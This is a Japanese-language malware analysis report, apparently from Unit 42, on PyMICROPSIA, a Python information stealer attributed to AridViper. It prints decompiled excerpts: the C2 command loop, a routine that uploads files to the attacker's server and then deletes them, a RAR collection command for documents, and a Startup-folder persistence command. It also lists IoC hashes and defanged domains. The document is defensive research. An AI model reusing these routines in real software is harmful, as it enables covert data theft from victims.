This post is also available in: English (英語)
概要
パロアルトネットワークス脅威インテリジェンスリサーチチームUnit 42は、中東地域を標的とする脅威グループAridViperを追跡してきました。このリサーチ中、MICROPSIAマルウェアファミリと関連している新たな情報窃取型トロイの木馬が特定されました。このことは、攻撃者が活発な開発プロファイルを維持し、標的の防御をかいくぐろうとする新しいインプラントを作成しているということを示しています。この新しいマルウェアファミリはPythonで作成されていることから、弊社ではこれをPyMICROPSIAと名付けました。
以下の図1は、PyMICROPSIAマルウェアファミリの機能の概要と以前のAridViperのアクティビティで観測された類似事項を示しています。PyMICROPSIAの機能の調査中に、攻撃者のインフラストラクチャでホストされている2つのサンプルを新たに特定しました。PyMICROPSIAはそのデプロイ中に、これらのサンプルをダウンロードし、使用します。この2つのサンプルは、後で述べる永続化とキーロギングの機能を提供します。
本稿では、PyMICROPSIAの機能と目的を詳述し、そのコマンド アンド コントロール(C2)の実装を分析します。また、以前のAridViperのアクティビティがPyMICROPSIAに起因することを示唆した主な観測結果も取り上げます。
パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、WildFire、URLフィルタリング、およびDNS Securityのサブスクリプションによって、本稿に記載されている攻撃から防御されています。また、AutoFocusおよびCortex XDRによっても防御されています。
PyMICROPSIAの分析
PyMICROPSIAには、以下を含むさまざまな情報窃取およびコントロールの機能があります。
- ファイルのアップロード。
- ペイロードのダウンロードと実行。
- ブラウザの認証情報の窃取。ブラウザ履歴およびプロファイルのクリア。
- スクリーンショットの取得。
- キーロギング。
- 窃取した情報をRARファイルに圧縮。
- プロセス情報の収集とプロセスの強制終了。
- ファイルリスト情報の収集。
- ファイルの削除。
- マシンのリブート。
- Outlook .ostファイルの収集。Outlookプロセスの強制終了と無効化。
- ファイルとフォルダの削除、作成、圧縮、および流出。
- ファイルの流出など、USBドライブからの情報の収集。
- 音声レコーディング。
- コマンドの実行。
実装の概要
PyMICROPSIAは、Pythonで作成され、PyInstallerを使用してWindows実行可能ファイル化した情報窃取トロイの木馬です。
その主な機能は、さまざまなスレッドを初期化して複数のタスクを定期的に呼び出すループを実行することで実装されています。その目的は、情報の収集とC2オペレータとのやり取りです。
攻撃者は、組み込みPythonライブラリと特定のパッケージの両方を含む複数の興味深いPythonライブラリを利用してその目的を達成しています。以下は、情報窃取固有のライブラリの例です。
Windowsプロセス、Windowsレジストリ、ネットワーキング、ファイルシステムの操作など複数の目的で、Python組み込みライブラリの使用が想定されています。
Windowsオペレーティングシステムのその他の特定の操作については、以下のようなライブラリが使用されています。
- WMI: Windows Management Instrumentationの操作用。
- win32securityおよびntsecuritycon: win32security APIの操作用。
PyMICROPSIAのコードと機能の詳細な分析については、「参考情報」を参照してください。
コマンド&コントロール
PyMICROPSIAは、単純なHTTP POSTベースのC2プロトコルを実装し、呼び出す機能に応じて通信中にさまざまなuniform resource identifier (ユニフォームリソース識別子 - URI)パスおよび変数を使用します(実装の詳細については、「参考情報」を参照してください)。
次の表は、PyMICROPSIAにおけるURIパスと対応する機能の概要を示しています。
パス | メソッド |
/zoailloaze/sfuxmiibif/samantha | 要求の削除。登録解除。 |
/zoailloaze/sfuxmiibif/lashawna | デバイスの登録。 |
/zoailloaze/sfuxmiibif/matheny | コマンド出力データの送信。 |
/zoailloaze/sfuxmiibif/uiasfvz | USBデバイス情報 |
/zoailloaze/sfuxmiibif/daryl | 要求の削除。 |
/zoailloaze/sfuxmiibif/qprbudls | ペイロードのダウンロード。 |
/zoailloaze/sfuxmiibif/nyrvoz | ダウンロードURL。 |
/zoailloaze/sfuxmiibif/hortense1 | ファイルのアップロード。 |
同じく重要な点は、分析したPyMICROPSIAサンプルには、C2関連コードで、応答の処理時に実行されないコード分岐が複数あることです。これは、攻撃者が依然としてアクティブにこのコードに取り組んでいる可能性を示唆しています。次の表に、到達可能なコードセクションに基づいて、標的のマシンで実行されるコマンドとアクションの概要を示します。
コマンド | アクション |
Lee | 新しいデバイスの登録。 |
Renee | デバイスの削除。 |
Rapunzel | ブラウザの認証情報を窃取してC2にアップロード。 |
Mulan | プロセスリストの収集とアップロード。 |
Silverman | TXT形式でのファイル情報の収集とアップロード。 |
Eeyore | Firefoxのプロファイルの削除とデバイスの登録解除。 |
Pocahontas | JSON詳細形式での圧縮済みファイル情報の収集とアップロード。 |
InfoCinder | システム内のドライブに関する情報の収集とアップロード。 |
表2 到達可能なC2コマンドとアクション
AridViperは新しい攻撃ベクトルに取り組んでいるか?
PyMICROPSIAは、Windowsオペレーティングシステムのみを標的とするように設計されていますが、コードには、"posix"や"darwin"など他のオペレーティングシステムかどうかをチェックする興味深いスニペットが含まれています。これは興味深い発見です。これまでこれらのオペレーティングシステムを標的とするAridViperを発見したことがなく、これは攻撃者が探察を開始しようとしている新しい領域を表している可能性があります。
1 2 3 4 5 6 7 8 9 10 |
else: if os.name == 'posix' and sys.platform == 'darwin': PathName = os.getenv('HOME') + '/Library/Application Support/Google/Chrome/Default/' if os.path.isdir(PathName) == False: sys.exit(0) elif os.name == 'posix': PathName = os.getenv('HOME') + '/.config/google-chrome/Default/' if os.path.isdir(PathName) == False: sys.exit(0) return PathName |
現時点では、発見されたコードは単純で、Pythonコードの作成時にコピー アンド ペーストした一部の可能性もありますが、いずれにしても弊社は新たなアクティビティのリサーチでこれを監視していく予定です。
追加のペイロード
C2とのやり取り中に、PyMICROPSIAは2つの追加のサンプルをダウンロードし、標的のシステムにドロップして実行し、追加の機能を実行します。これらのペイロードはPythonおよびPyInstallerをベースにしていません。
キーロガー機能
これはキーロギング機能がPyMICROPSIAの一部としてネイティブに実装されていない興味深いケースです。代わりに、このサンプルは特定のペイロードをダウンロードします(ペイロードのダウンロード方法については、「参考情報」の「ファイルのダウンロード機能」のセクションを参照してください)。
このペイロードはファイル名"MetroIntelGenericUIFram.exe"でダウンロードされ、以下のSHA-256を持っています。
381b1efca980dd744cb8d36ad44783a35d01a321593a4f39a0cdae9c7eeac52f
このサンプルは以下のGetAsyncKeyState APIメソッドを使用してキーロギング機能を実装します。
これには、メインのPyMICROPSIAサンプルによって初期化されるディレクトリ構造に直接関係するハードコードされた設定があるため、それに従ったコンパイルが必要です。これは、PyMICROPSIAによって作成される特定のディレクトリ(“ModelsControllerLibb”)の下で実行する必要があり、"HPFusionManagerDell"フォルダの下にキーストローク情報を格納します。
キーロガーは情報をHPFusionManagerDellディレクトリに、以下のファイル名構造と形式でドロップします。
永続化
このマルウェアサンプルの永続化は、以下のようにPythonコードの一部として実行されるレジストリキーの設定など、通常のメソッドで実現可能です。
ただし、この実装における永続化に関して興味深いことがあります。このサンプルは、C2サーバーから別のペイロードをダウンロードします(詳細については、「ファイルのダウンロード機能」のセクションを参照してください)。このペイロードの名前は"SynLocSynMomentum.exe"で、以下のSHA-256を持っています。
9c32fdf5af8b86049abd92561b3d281cb9aebf57d2dfef8cc2da59df82dca753
このサンプルは以下の特定のパラメータで実行されます。
SynLocSynMomentum.exe ModelsControllerLibb ModelsControllerLib
これはスタートアップメニューにコピーされるショートカット.lnkによって永続化を設定します。特筆すべき点は、このコードが、Pythonコードに既に存在している機能の量を考慮して、別のペイロードとして実行されることです。
1 |
"C:\Windows\System32\cmd.exe" /c move "C:\Users\admin\AppData\Local\Temp\\ModelsControllerLib.lnk" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ModelsControllerLib.lnk" |
他のMICROPSIAアクティビティとの関係
弊社は、中東地域に関連した最近のMICROPSIAのアクティビティを調査中に、PyMICROPSIAを発見しました。そのマルウェアには以下の例などそのアクティビティをAridViperに関連付ける複数の側面が存在しています。
コードの重複
このサンプルについて最初に注目した点は、そのC2の実装と機能が既知のMICROPSIAサンプルによく似ていることです。例については、RadwareおよびCheck Pointによる以前のリサーチでのC2の説明を参照してください。
また、MICROPSIAの各サンプルにわたって観測された戦術、手法、手順(TTP)は、流出用データの圧縮にrar.exeが使用されていたことです。このバージョンでは、rar.exeはC2インフラストラクチャからダウンロードされ、以前のサンプルで観測されたものとよく似たパラメータで使用されています。
1 2 3 4 5 6 7 8 9 10 11 |
k24 = '"' + Wv + '\\*.dot' + '" ' k25 = '"' + Wv + '\\*.dotx' + '" ' AllFile = k1 + k2 + k3 + k4 + k5 + k6 + k7 + k8 + k9 + k11 + k12 + k13 + k14 + k15 + k16 + k17 + k18 + k19 + k20 + k21 + k22 + k23 + k24 + k25 AllFiles_Drvi = AllFile flTDType = AllFiles_Drvi te = file_D En_crpypt2 = 'a -r -ep1 -v2.5m -ta' + te + ' -hp' En = '4545933464930447517744759' mm = chick_Device_Name() + En nnWithoutdel = En_crpypt2 + mm subprocess.call('"' + Rar_File + '"' + ' ' + (nnWithoutdel + ' ' + '"' + Zip_File2 + '_NETWORKWTHDate"' + ' ' + flTDType), shell=True) |
例については、MICROPSIAの最新のサンプルでのrar.exeの使用方法を参照してください。
SHA-256: 3c8979740d2f634ff2c0c0ab7adb78fe69d6d42307118d0bb934f03974deddac
1 |
"C:\Program Files\WinRAR\Rar.exe" a -r -ep1 -v2500k -hpcec6b597e046386f74b807c60ada61a5_d01247a1eaf1c24ffbc851e883e67f9b -ta2020-10-21 "C:\ProgramData\commonlogfiles\LMth_C" "C:\Users\admin\*.xls" "C:\Users\admin\*.xlsx" "C:\Users\admin\*.doc" "C:\Users\admin\*.docx" "C:\Users\admin\*.csv" "C:\Users\admin\*.pdf" "C:\Users\admin\*.ppt" "C:\Users\admin\*.pptx" "C:\Users\admin\*.odt" "C:\Users\admin\*.mdb" "C:\Users\admin\*.accdb" "C:\Users\admin\*.accde" "C:\Users\admin\*.txt" "C:\Users\admin\*.rtf" |
C2通信の類似性
複数のMICROPSIAサンプルで観測されたURIパス構造は、PyMICROPSIAサンプルのものと似ています。たとえば、同じ最近のMICROPSIAサンプルを調べると、URIパスのランダムな文字と構造を観測できます。
SHA-256:
3c8979740d2f634ff2c0c0ab7adb78fe69d6d42307118d0bb934f03974deddac
hxxps://jaime-martinez[.]info/sujqbrgpb/bztjpskd/rxkwjt
hxxps://jaime-martinez[.]info/sujqbrgpb/bztjpskd/zxfsyadoss/gM69sY
hxxp://jaime-martinez[.]info/sujqbrgpb/bztjpskd/tpmpyyzwg
hxxps://jaime-martinez[.]info/sujqbrgpb/bztjpskd/ouwmhf/ImoOEJ
hxxp://jaime-martinez[.]info/sujqbrgpb/bztjpskd/ouwmhf/voT8FY
hxxp://jaime-martinez[.]info/sujqbrgpb/bztjpskd/rxkwjt
hxxp://jaime-martinez[.]info/sujqbrgpb/bztjpskd/zxfsyadoss/TocLI5
hxxps://jaime-martinez[.]info/sujqbrgpb/bztjpskd/ouwmhf/9WnKfe
hxxp://jaime-martinez[.]info/sujqbrgpb/bztjpskd/zxfsyadoss/pyPaqj
hxxps://jaime-martinez[.]info/sujqbrgpb/bztjpskd/ouwmhf/HRabCX
使用されるテーマ
過去には、MICROPSIAのコードおよびC2の実装ではThe Big Bang TheoryやGame of Thronesなど特定のテーマの言及がみられましたが、この新しい実装も同様で、図15および16のように複数の有名俳優の名前の言及がコード変数および使用しているインフラストラクチャの両方に複数含まれています。
また、「コマンド アンド コントロール」セクションで説明したように、C2活動には多数のDisneyの言及が含まれています。
もう1つ興味深いのは、コード内にアラビア語のコメントが存在することです。
1 |
Delete_Request_Error('لم يتم ضغط هذا الملف!!..') |
これは、偽フラグの可能性がありますが、このマルウェアサンプルの地域属性に関係している可能性もあります。
結論
AridViperは、武器の一部として新しいツールの開発を続けているアクティブな脅威グループです。PyMICROPSIAについては、MICROPSIAなど他の既存のAridViperツールとの複数の類似点が観測されています。また、弊社が分析したPyMICROPSIAのさまざまな側面に基づくと、このマルウェアにはまだ使用されていない複数のセクションがあります。これは、この攻撃者がアクティブに開発中のマルウェアファミリである可能性が高いことを示しています。
パロアルトネットワークスのお客様は、次の方法で本稿で概説した攻撃から保護されています。
- MICROPSIAとPyMICROPSIAを含むすべての基地のAridViperツールは、WildFireでは悪意があると判定されています。
- AutoFocusをご使用のお客様は、AridViperの攻撃者とそのツールを追跡できます。
- Cortex XDRは、PyMICROPSIAとそれがドロップするペイロードの両方をブロックできます。
- C2ドメインは、URLフィルタリングとDNS Securityでコマンド アンド コントロールと分類されています。
IoC
PyMICROPSIAのサンプル
11487246a864ee0edf2c05c5f1489558632fb05536d6a599558853640df8cd78
ddaeffb12a944a5f4d47b28affe97c1bc3a613dab32e5b5b426ef249cfc29273
46dae9b27f100703acf5b9fda2d1b063cca2af0d4abeeccc6cd45d12be919531
MICROPSIAのサンプル
47d53f4ab24632bf4ca34e9a10e11b4b6c48a242cbcfcb1579d67523463e59d2
83e0db0fa3feaf911a18c1e2076cc40ba17a185e61623a9759991deeca551d8b
eab20d4c0eeff48e7e1b6b59d79cd169cac277aeb5f91f462f838fcd6835e0ac
078212fc6d69641e96ed04352fba4d028fd5eadc87c7a4169bfbcfc52b8ef8f2
0d65b9671e51baf64e1389649c94f2a9c33547bfe1f5411e12c16ae2f2f463dd
2115d02ead5e497ce5a52ab9b17f0e007a671b3cd95aa55554af17d9a30de37c
26253e9027f798bafc4a70bef1b5062f096a72b0d7af3065b0f4a9b3be937c99
3884ac554dcd58c871a4e55900f8847c9e308a79c321ae46ced58daa00d82ab4
3c8979740d2f634ff2c0c0ab7adb78fe69d6d42307118d0bb934f03974deddac
3da95f33b6feb5dcc86d15e2a31e211e031efa2e96792ce9c459b6b769ffd6a4
42fa99e574b8ac5eddf084a37ef891ee4d16742ace9037cda3cdf037678e7512
4eced949a2da569ee9c4e536283dabad49e2f41371b6e8d40b80a79ec1b0e986
5b8b71d1140beaae4736eb58adc64930613ebeab997506fbb09aabff68242e17
82ad34384fd3b37f85e735a849b033326d8ce907155f5ff2d24318b1616b2950
a60cadbf6f5ef8a2cbb699b6d7f072245c8b697bbad5c8639bca9bb55f57ae65
b0562b41552a2fa744390a5f79a843940dade57fcf90cd23187d9c757dc32c37
b61fa79c6e8bfcb96f6e2ed4057f5a835a299e9e13e4c6893c3c3309e31cad44
d28ab0b04dc32f1924f1e50a5cf864325c901e11828200629687cca8ce6b2d5a
db1c2482063299ba5b1d5001a4e69e59f6cc91b64d24135c296ec194b2cab57a
e869c7f981256ddb7aa1c187a081c46fed541722fa5668a7d90ff8d6b81c1db6
eda6d901c7d94cbd1c827dfa7c518685b611de85f4708a6701fcbf1a3f101768
AridViper Infrastructure
baldwin-gonzalez[.]live
jaime-martinez[.]info
judystevenson[.]info
robert-keegan[.]life
benyallen[.]club
chad-jessie[.]info
escanor[.]live
krasil-anthony[.]icu
nicoledotson[.]icu
samwinchester[.]club
tatsumifoughtogre[.]club
参考情報: PyMYCROPSIAマルウェア分析
以下のPyMICROPSIAの分析は、以下のサンプルに基づいています。
SHA-256: 46dae9b27f100703acf5b9fda2d1b063cca2af0d4abeeccc6cd45d12be919531
マルウェアの初期化
環境と設定
マルウェアの初期化の一部として、PyMICROPSIAの以下の2つの主な側面を取り上げることが重要です。
- さまざまな目的で複数のフォルダを作成する。
- C2サーバーのリストを定義する。
初期のマルウェアの設定で定義されるファイルおよびフォルダごとの主な目的を、次の表に示します。
ディレクトリ | 目的 |
Rar_com_Folder | RAR圧縮済み情報用のストレージ。 |
DevName | RAR圧縮済み情報用のストレージ。 |
DevNameSound | 音声レコーディングされたファイル用ストレージ。 |
DevNameKeyPress | キーロガー出力情報用ストレージ。 |
MyFolderName | 多用途フォルダ。設定、収集された情報の出力などを格納する。 |
downloadNameApp | C2からダウンロードされたアプリケーション用ファイル名。 |
NameApps | C2からダウンロードされたアプリケーション用ファイル名。 |
NameAppShurt | 永続化のために作成されたショートカット用ファイル名。 |
デバイスの識別子
デバイスは、コンピュータ名、ユーザー名、およびランダムに生成されたコードの組み合わせに基づいて識別されます。コードは、生成されると多用途フォルダ“MyFolderName”に格納されます。
この識別子関数は、C2との通信中に標的を追跡するために使用されます。
C2の選択
ネットワークの観点からは、以下のように、マルウェアは特定のパスへのPOST要求による接続テストに基づいて設定済みリストからC2サーバーを選択します。
そして、その結果として選択されたドメインを多用途フォルダ"MyFolderName"に格納します。
メインのアクティビティループ
初期のセットアップ完了後、マルウェアの機能は、ループに入ることで以下のように開始されます(図3を参照)。
- 音声レコーディングとファイルのアップロードのための複数の独立スレッドが開始されます。
- 永続化、キーロギング、スクリーンショット、およびC2オペレータとのやり取りといった主要領域に対応する複数の特定のタスクが定期的に実行されます。
C2の実装
プロトコルの実装
プロトコルの実装は単純です。メッセージが、呼び出す機能に応じてさまざまなURIパスおよび変数を使用してHTTP POST要求を介して送信されます。
たとえば、ファイルのアップロードでは、HTTP POST要求が以下のように作成されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
def Upload_File(type, path, FranDrescher, NB): if not os.path.exists(path): return True url = FranDrescher + '/zoailloaze/sfuxmiibif/hortense1' datei_hochladen = open(path, 'rb') files = {'terrell': datei_hochladen} status = False while not status: try: ur = requests.post(url, files=files, data={'beau': name_device + ';' + str(NB), 'type': type, 'FComp': str(NumComPers())}) if ur.text == 'true': status = True datei_hochladen.close() os.remove(path) |
この要求には以下が含まれます。
- URIパス: ‘/zoailloaze/sfuxmiibif/hortense1’
- “terrel”変数の下のマルチパート エンコード ファイル。
- ‘beau’、‘type’、および‘FComp’の変数を使用したフォーム エンコード データ。
- この場合の‘beau’のように、いくつかのパラメータは複数の構成要素を含めることができ、それらは‘;’を使用して区切ります。
応答の受信時に、実行する操作が含まれていた応答は、区切り文字として‘;’を使用して区切った構成要素を持つ文字列によって送信されます。たとえば、以下のコードスニペットは、C2オペレータとの通信と、応答の処理方法を示しています(簡潔にするために興味深い部分のみ記載しています)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
ur = requests.post(url, data={'beau': name_device + ';' + str(getLastModDir(4))}) resArr = ur.text Im_extin = resArr.split(';')[0] if ur.status_code == 200: if resArr == 'Lee': register_new_device(FranDrescher) elif resArr == 'Melissa': pass elif resArr == 'Renee': status = Delete_Request(Im_extin) elif resArr == 'nero': pass else: Im_extintion = resArr.split(';')[1] if Im_extintion == 'Rapunzel': path = args_parser(MyFolderName) status = Upload_File('else', path, FranDrescher, Im_extin) if status: status = Delete_Request(Im_extin) if Im_extintion == 'Gal_Gadot': path = Sec_Shot(MyFolderName) status = Upload_File('lucretia', path, FranDrescher, Im_extin) if status: status = Delete_Request(Im_extin) ... ... ... if Im_extintion == 'Ed_ONeill': F_Out = resArr.split(';')[2] src_B = base64ToString(F_Out) if src_B == 'delete': status = Del_Outlook() else: ... ... ... if Im_extintion == 'groot': src_path = resArr.split(';')[2] dist_path = resArr.split(';')[3] src_B = base64ToString(src_path) src_B_D = base64ToString(dist_path) if os.path.exists(src_B) and os.path.exists(src_B_D |
この応答は、‘;’区切り文字で区切られ、その位置に応じて、各状況によってプレーンテキストまたはbase64エンコードで受信できるパラメータが含まれます。
以下の表は、C2とのやり取りで使用するパスとパラメータ、およびそれらの機能の概要を示しています。
パス | メソッド | 変数 |
/zoailloaze/sfuxmiibif/samantha | 要求の削除。登録解除。 | beau |
/zoailloaze/sfuxmiibif/lashawna | デバイスの登録。 | beau |
/zoailloaze/sfuxmiibif/matheny | コマンド出力データの送信。 | beau、terrel |
/zoailloaze/sfuxmiibif/uiasfvz | USBデバイス情報 | beau、type |
/zoailloaze/sfuxmiibif/daryl | 要求の削除。 | arturo、beau |
/zoailloaze/sfuxmiibif/qprbudls | ペイロードのダウンロード。 | beau |
/zoailloaze/sfuxmiibif/nyrvoz | ダウンロードURL。 | beau |
/zoailloaze/sfuxmiibif/hortense1 | ファイルのアップロード。 | beau、type、FComp、terrel |
表4 C2とのやり取りで使用されるバスとパラメータ、およびそれらの機能
C2オペレータとのやり取り
メインのアクティビティループに基づいて、C2サーバーの定期的な呼び出しがあり、それはデバイスに関する情報(デバイス識別子)およびディスクの最後の変更時刻の送信によって開始されます。
1 2 3 4 5 6 7 8 |
def Chick_Request(): global FranDrescher global WD global Wv url = FranDrescher + '/zoailloaze/sfuxmiibif/lashawna' ur = requests.post(url, data={'beau': name_device + ';' + str(getLastModDir(4))}) resArr = ur.text Im_extin = resArr.split(';')[0] |
興味深いのは、これが最後のディスクアクティビティ日付をキャプチャする方法です。このコードは、それが未完成であることを示し、この場合、タイプは‘4’であり、日付の代わりに常に文字列‘empty’を返します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
def getLastModDir(type): try: c = wmi.WMI() Mv = '' for drive in c.Win32_LogicalDisk(DriveType=type): Mv = drive.Caption last_date = '' dirpath = Mv entries = (os.path.join(dirpath, fn) for fn in os.listdir(dirpath)) entries = ((os.stat(path), path) for path in entries) entries = ((stat[ST_MTIME], path) for stat, path in entries if S_ISREG(stat[ST_MODE])) for cdate, path in entries: last_date = datetime.datetime.fromtimestamp(cdate) if type == 4: return 'empty' return last_date except Exception as e: return 'empty' |
コード全体でこのような実装の例は複数あります。それは、未完成または継続中の実装を示し、攻撃者がそのサンプルをアクティブに開発中であることを示しています。
前に述べたように、応答文字列は区切り文字で区切られ、C2オペレータによって送信されたコマンドおよびエンコードされたパラメータが解析されます。興味深いのは、コマンド内にDisneyの言及が多数含まれていることです(過去には、たとえばThe Big Bang TheoryやGame of Thronesなどのキャラクターに言及する変数が使用されたAridViperがありました)。
未完成のコードに関するもう1つの興味深い例は、C2の実装に含まれる一部の分岐と機能をコードが通過できないという事実です。たとえば、以下のコードスニペットでは、コードが“Mulan”分岐に入ると、“Vanellope”コードブロックには入りません。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
if Im_extintion == 'Mulan': path = Process_list(MyFolderName) status = Upload_File('else', path, FranDrescher, Im_extin) if status: status = Delete_Request(Im_extin) if Im_extintion == 'Mulan_Fire': K_process('firefox.exe') Compress_File_Rar_WithoutDel2() status = Delete_Request(Im_extin) if Im_extintion == 'Vanellope': path = Get_ImgType(MyFolderName) status = Upload_File('else', path, FranDrescher, Im_extin) if status: status = Delete_Request(Im_extin) if Im_extintion == 'Calhoun': path = Get_VedioType(MyFolderName) status = Upload_File('else', path, FranDrescher, Im_extin) if status: status = Delete_Request(Im_extin) |
これも、実装が未完成で、開発中である可能性を示すシグナルです。
表2は、コードの実行によって到達可能なコマンドの概要を示しています。
情報窃取およびコントロールの機能
このマルウェアサンプルには、現在のC2実装で到達可能かどうかに関係なく、以下を含むさまざまな情報窃取およびコントロールの機能があります。後続のセクションでは、このマルウェア ファミリの実装方法を可視化するために、最も関連性の強い機能のみを説明します。
音声レコーディング
音声レコーディングは、pyaudioおよびwave Pythonライブラリを使用して実現されます。データは“DevNameSound”フォルダに格納されます。
レコーディングは、対応するフォルダに格納され、実行中のスレッドとオペレータコマンドによって、キャプチャされた情報の取得が可能になります。
ファイルのダウンロード機能
C2からファイルをダウンロードする機能は、以下のURLパスへのPOST要求によって実装されています。
/zoailloaze/sfuxmiibif/qprbudls
POST要求の一部として、“beau”という名前のパラメータで、ダウンロードするファイルのタイプが指定されます。その値に応じて、特定のペイロードおよび特定のURLをダウンロードできます。コードは以下のようになります。
“beau”の値 | アクション |
‘1’ | 正当なバージョンまたはrar.exeのダウンロード。 |
‘2’ | MetroIntelGenericUIFram.exeのダウンロード。 |
‘3’ | SynLocSynMomentum.exeのダウンロード。 |
特定のURL | 指定されたURLからのダウンロード。 |
表5 サンプルダウンロードのための“beau”の値
ファイルのアップロード
このマルウェアのサンプルは、さまざまなフォルダに配置されている圧縮済みサンプルを定期的にアップロードするスレッドを開始します。
ファイルのアップロードは、以下のパスに対するPOST要求によって実行されます。
/zoailloaze/sfuxmiibif/hortense1
データは、“;”で区切った複数の変数を設定できるPOSTパラメータ“beau”によって指定されています。ファイルは、“terrel”というPOSTパラメータで指定されています。
ここで述べたスレッド、およびC2とのやり取りを通じたオペレータが、アップロードコードを呼び出すことができます。以下は、この実装を観測できるそのようなメソッドの例です。
スクリーンショット機能
スクリーンショットは、Pythonのmssライブラリを使用して、C2に定期的に送信することも、C2オペレータが適切なコマンドを送信した場合はオンデマンドで送信することもできます。
ファイル収集情報
コード全体にわたって、情報収集指向の複数のメソッドがあります。このメソッドは、C2オペレータとのさまざまなやり取りに応じて呼び出され、オペレータは収集したい情報の種類を選択できます。
たとえば、以下の複数の図に示すように、特定のフォルダを収集する汎用メソッドとさまざまなレベルで詳細情報を収集する汎用メソッドがあります。
以下のように外部ドライブから情報を収集するメソッドがあります。
特定のファイル拡張子に的を絞ったメソッドなど、他の手法もあります。
ファイルの取得
ファイルオペレータは、ディスクからさまざまなタイプのファイルを収集できる多数のコマンドを持っています。この収集メソッドは、通常は、ターゲットファイルを選択し、C2にアップロードするデータを正当なRARユーティリティで圧縮することで完遂されます。以下の例は、コマンドで特定の拡張子に的を絞る方法を示しています。
コマンドの実行
AridViperのオペレータは、C2とのやり取りでコマンドと一種にパラメータを送信できます。これらのコマンドはこのサンプルでは特定の区切り文字‘;’で区切られ、base64でエンコードされて伝送されます。このサンプルではさまざまなオプションが実装されており、オペレータは、特定のURLからのペイロードのダウンロードと実行、プロセスの実行などコマンドを柔軟に実行できます。